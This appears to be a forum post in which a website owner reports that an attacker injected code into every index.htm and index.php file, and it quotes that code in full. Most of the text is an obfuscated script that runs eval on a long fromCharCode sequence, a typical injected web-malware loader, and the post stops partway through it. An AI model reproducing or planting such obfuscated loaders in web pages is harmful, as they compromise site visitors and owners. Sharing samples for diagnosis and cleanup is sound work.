This guy hacked my server and added the following code to all of my index.htm and index.php files:
<script>/*km0ae9gr6m*/window.eval(String.fromCharCode(115,61,34,34,59,116,114,121,123,113,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,112,34,41,59,113,46,97,112,112,101,110,100,67,104,105,108,100,40,34,49,50,51,34,43,110,41,59,125,99,97,116,99,104,40,113,119,41,123,104,61,45,48,49,54,47,55,59,116,114,121,123,97,61,112,114,111,116,111,116,121,112,101,59,125,99,97,116,99,104,40,122,120,99,41,123,101,61,119,105,110,100,111,119,91,34,101,34,43,34,118,97,34,43,34,108,34,93,59,110,61,34,50,48,52,46,51,53,49,46,52,52,48,46,52,57,53,46,50,51,50,46,51,49,53,46,52,52,52,46,53,53,48,46,54,52,46,51,51,48,46,52,48,52,46,54,48,48,46,50,51,50,46,50,52,54,46,51,56,56,46,53,53,48,46,50,48,48,46,51,51,51,46,52,51,54,46,51,57,48,46,50,51,52,46,51,50,55,46,51,57,50,46,53,48,53,46,50,50,56,46,49,50,48,46,49,54,52,46,54,49,53,46,50,54,46,51,48,46,49,50,56,46,49,54,48,46,54,52,46,57,54,46,52,55,50,46,52,56,53,46,50,50,56,46,57,54,46,52,49,54,46,53,50,53,46,54,52,46,49,56,51,46,49,50,56,46,53,56,48,46,50,48,56,46,51,49,53,46,52,54,48,46,50,51,48,46,50,51,48,46,51,48,51,46,52,48,52,46,53,48,48,46,54,52,46,49,52,49,46,49,50,56,46,53,56,48,46,50,48,56,46,51,49,53,46,52,54,48,46,50,51,48,46,49,54,50,46,49,55,55,46,53,50,46,53,48,46,54,52,46,57,54,46,49,50,56,46,49,54,48,46,50,51,54,46,50,57,49,46,52,53,54,46,49,54,48,46,50,49,54,46,51,51,51,46,49,50,56,46,51,48,53,46,54,52,46,51,52,56,46,52,49,54,46,53,50,53,46,50,51,48,46,49,51,56,46,52,54,48,46,53,48,53,46,50,48,50,46,51,48,48,46,49,50,56,46,49,56,53,46,54,52,46,51,52,56,46,52,49,54,46,53,50,53,46,50,51,48,46,49,51,56,46,51,50,52,46,50,57,53,46,50,54,46,51,48,46,49,50,56,46,49,54,48,46,54,52,46,57,54,46,52,55,50,46,52,56,53,46,50,50,56,46,57,54,46,52,54,52,46,53,48,53,46,50,51,48,46,51,52,56,46,49,50,56,46,51,48,53,46,54,52,46,51,52,56,46,52,49,54,46,53,50,53,46,50,51,48,46,49,51,56,46,50,54,48,46,49,54,48,46,56,52,46,57,54,46,52,51,50,46,53,53,53,46,54,52,46,49,51,53,46,49,50,56,46,53,56,48,46,50,48,56,46,51,49,53,46,52,54,48,46,50,51,48,46,49,54,52,46,57,54,46,49,54,56,46,49,54,48,46,50,48,56,46,51,49,53,46,50,51,54,46,54,53,46,50,48,46,57,54,46,49,50,56,46,49,54,48,46,54,52,46,51,49,53,46,52,48,56,46,50,48,48,46,50,51,50,46,51,48,51,46,52,54,48,46,53,56,48,46,54,52,46,49,56,54,46,49,50,56,46,50,52,48,46,56,50,46,51,54,57,46,53,50,46,53,48,46,54,52,46,57,54,46,49,50,56,46,49,54,48,46,54,52,46,57,54,46,49,50,56,46,49,54,48,46,50,51,50,46,51,49,50,46,52,50,48,46,53,55,53,46,57,50,46,51,52,53,46,52,48,52,46,53,48,53,46,50,48,48,46,57,54,46,50,52,52,46,49,54,48,46,50,51,50,46,51,48,51,46,52,54,48,46,53,56,48,46,49,49,56,46,51,57,46,52,48,46,49,54,48,46,54,52,46,57,54,46,49,50,56,46,54,50,53,46,54,52,46,51,48,51,46,52,51,50,46,53,55,53,46,50,48,50,46,57,54,46,52,57,50,46,54,53,46,50,48,46,57,54,46,49,50,56,46,49,54,48,46,54,52,46,57,54,46,49,50,56,46,49,54,48,46,54,52,46,51,52,56,46,52,49,54,46,53,50,53,46,50,51,48,46,49,51,56,46,52,54,48,46,53,48,53,46,50,48,50,46,51,48,48,46,49,50,56,46,51,48,53,46,54,52,46,51,52,56,46,52,48,52,46,53,55,53,46,50,51,50,46,57,54,46,49,55,50,46,49,54,48,46,50,51,50,46,51,49,50,46,52,50,48,46,53,55,53,46,57,50,46,50,51,49,46,50,51,54,46,54,53,46,50,48,46,57,54,46,49,50,56,46,49,54,48,46,54,52,46,51,55,53,46,53,50,46,53,48,46,54,52,46,57,54,46,49,50,56,46,49,54,48,46,50,50,56,46,51,48,51,46,52,54,52,46,53,56,53,46,50,50,56,46,51,51,48,46,49,50,56,46,50,48,48,46,50,51,50,46,51,49,50,46,52,50,48,46,53,55,53,46,57,50,46,51,52,53,46,52,48,52,46,53,48,53,46,50,48,48,46,57,54,46,49,54,56,46,49,54,48,46,50,51,50,46,51,49,50,46,52,50,48,46,53,55,53,46,57,50,46,51,51,51,46,52,52,48,46,53,48,53,46,49,53,56,46,51,53,52,46,52,48,52,46,53,55,48,46,49,53,52,46,49,50,51,46,50,51,54,46,54,53,46,50,48,46,51,55,53,46,53,50,46,53,48,46,50,54,46,51,48,46,52,48,56,46,53,56,53,46,50,50,48,46,50,57,55,46,52,54,52,46,53,50,53,46,50,50,50,46,51,51,48,46,49,50,56,46,52,49,48,46,49,57,52,46,51,51,48,46,52,48,48,46,53,53,53,46,50,49,56,46,50,51,52,46,52,54,56,46,53,52,53,46,49,57,54,46,51,48,51,46,52,53,54,46,51,53,53,46,50,48,50,46,51,51,48,46,52,48,52,46,53,55,48,46,49,57,52,46,51,52,56,46,52,52,52,46,53,55,48,46,56,48,46,51,53,49,46,52,52,48,46,53,50,53,46,50,52,48,46,49,50,51,46,52,57,50,46,54,53,46,50,48,46,57,54,46,49,50,56,46,49,54,48,46,54,52,46,51,53,52,46,51,56,56,46,53,55,48,46,54,52,46,51,48,48,46,49,50,56,46,51,48,53,46,54,52,46,51,51,48,46,52,48,52,46,53,57,53,46,54,52,46,50,48,52,46,51,56,56,46,53,56,48,46,50,48,50,46,49,50,48,46,52,54,56,46,53,53,48,46,50,49,48,46,51,54,48,46,49,54,56,46,50,52,53,46,57,54,46,49,52,52,46,49,57,50,46,50,48,53,46,49,49,56,46,51,57,46,52,48,46,49,54,48,46,54,52,46,57,54,46,49,50,56,46,53,57,48,46,49,57,52,46,51,52,50,46,49,50,56,46,53,55,53,46,54,52,46,49,56,51,46,49,50,56,46,53,48,48,46,57,50,46,51,48,57,46,52,48,52,46,53,56,48,46,49,52,52,46,51,51,51,46,52,54,56,46,53,55,48,46,50,51,48,46,49,50,48,46,49,54,52,46,49,54,48,46,49,50,52,46,57,54,46,49,57,54,46,50,53,48,46,54,52,46,49,56,57,46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